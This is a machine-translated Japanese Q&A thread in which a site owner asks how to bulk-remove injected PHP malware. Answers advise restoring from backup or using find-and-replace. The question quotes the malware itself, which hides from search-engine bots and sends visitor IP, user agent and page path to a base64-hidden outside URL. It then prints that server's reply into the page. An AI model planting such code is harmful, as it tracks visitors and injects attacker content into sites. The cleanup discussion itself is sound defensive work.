perl正規表現を使用したマルウェアの削除

複数のファイルやディレクトリから以下のコードを削除する方法はありますか?

if (!isset($sRetry)) 
{
    global $sRetry;
    $sRetry = 1;//This code use for  lobal bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);// Looks for Google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";

    if (strstr($sUserAgent, 'google') == false && 
        strstr($sUserAgent, 'yahoo') == false && 
        strstr($sUserAgent, 'baidu') == false && 
        strstr($sUserAgent, 'msn') == false && 
        strstr($sUserAgent, 'opera') == false && 
        strstr($sUserAgent, 'chrome') == false && 
        strstr($sUserAgent, 'bing') == false && 
        strstr($sUserAgent, 'safari') == false && 
        strstr($sUserAgent, 'bot') == false)//Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST'])) 
        {// reate  bot analitics
            $stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') . 
                '?ip=' . urlencode($_SERVER['REMOTE_ADDR']) . 
                '& seragent=' . urlencode($sUserAgent) . 
                '&domainname=' . urlencode($_SERVER['HTTP_HOST']) . 
                '& ullpath=' . urlencode($_SERVER['REQUEST_URI']) . 
                '& check=' . isset($_GET['look']);
            $stCurlHandle = curl_init($stCurlLink);
        }
    }

    if ($stCurlHandle !== NULL) 
    {
        curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle);

        if $sResult[0] == "O") 
        {
            $sResult[0] = " ";
            echo $sResult;//Statistic code end

        }
        curl_close($stCurlHandle);
    }
}
0
誰かがそのコードをページに挿入できるようにした実際の脆弱性を削除するにはどうしたらいいですか?
追加された 著者 Sinan Ünür,
コードをもう一度貼り付け、貼り付けたコードを選択して編集時にコードボタンをクリックしてください。
追加された 著者 Sebastian Paaske Tørholm,
それはそのFTPの問題のようです
追加された 著者 user1018279,

2 答え

これをしないでください。攻撃を修復しようとしないでください。あなたはそれをすべて持っている場合、決して100%確実にすることはできません。結局のところ、あなたはこの特定の注射を知っています。他の場所に他のバックドアがないことをどうやって知っていますか?

これを処理する最良の方法は、バックアップから復元して脆弱性を修正することです。

バックアップはありませんか?さて、レッスンは学んだ。今度はあなたのホストに行き、彼らに尋ねます(彼らは最近のものを持っているはずですが、もしあなたがそれを巻くなら別の問題です)。

彼らがどちらかを持っていない場合は、よくあなたは修理しようとしている。しかしそれでも、私は自動的にこれを行うことをおすすめしません 。代わりに、ファイルごとに移動し、そこにあったものを見てください。手動で各ファイルにアクセスしてチェックしない限り、この「悪用」のバージョンがいくつあるかはわかりません。だから私は正規表現を作成しようとしないだろう、私は手でそれを行うとそうすることをお勧めします。しかし、バックアップの最後の手段としてのみ...

3
追加された

Yes, I suppose you are on Windows (Unix users would know to use sed). I would try some free software that can do that: for example http://www.digitalvolcano.co.uk/content/textcrawler. Or better yet, download any PHP IDE. All can do bulk find&replace.

0
追加された
いいえ、私はLinuxの箱にいます。引用符や特殊文字が多すぎるのでsedを使いにくいです。 \ Q \ Eも動作しません
追加された 著者 user1018279,
PHP - 日本のコミュニティ [ja]
PHP - 日本のコミュニティ [ja]
4 参加者の

このグループではPHPについて話します。 パートナー:kotaeta.com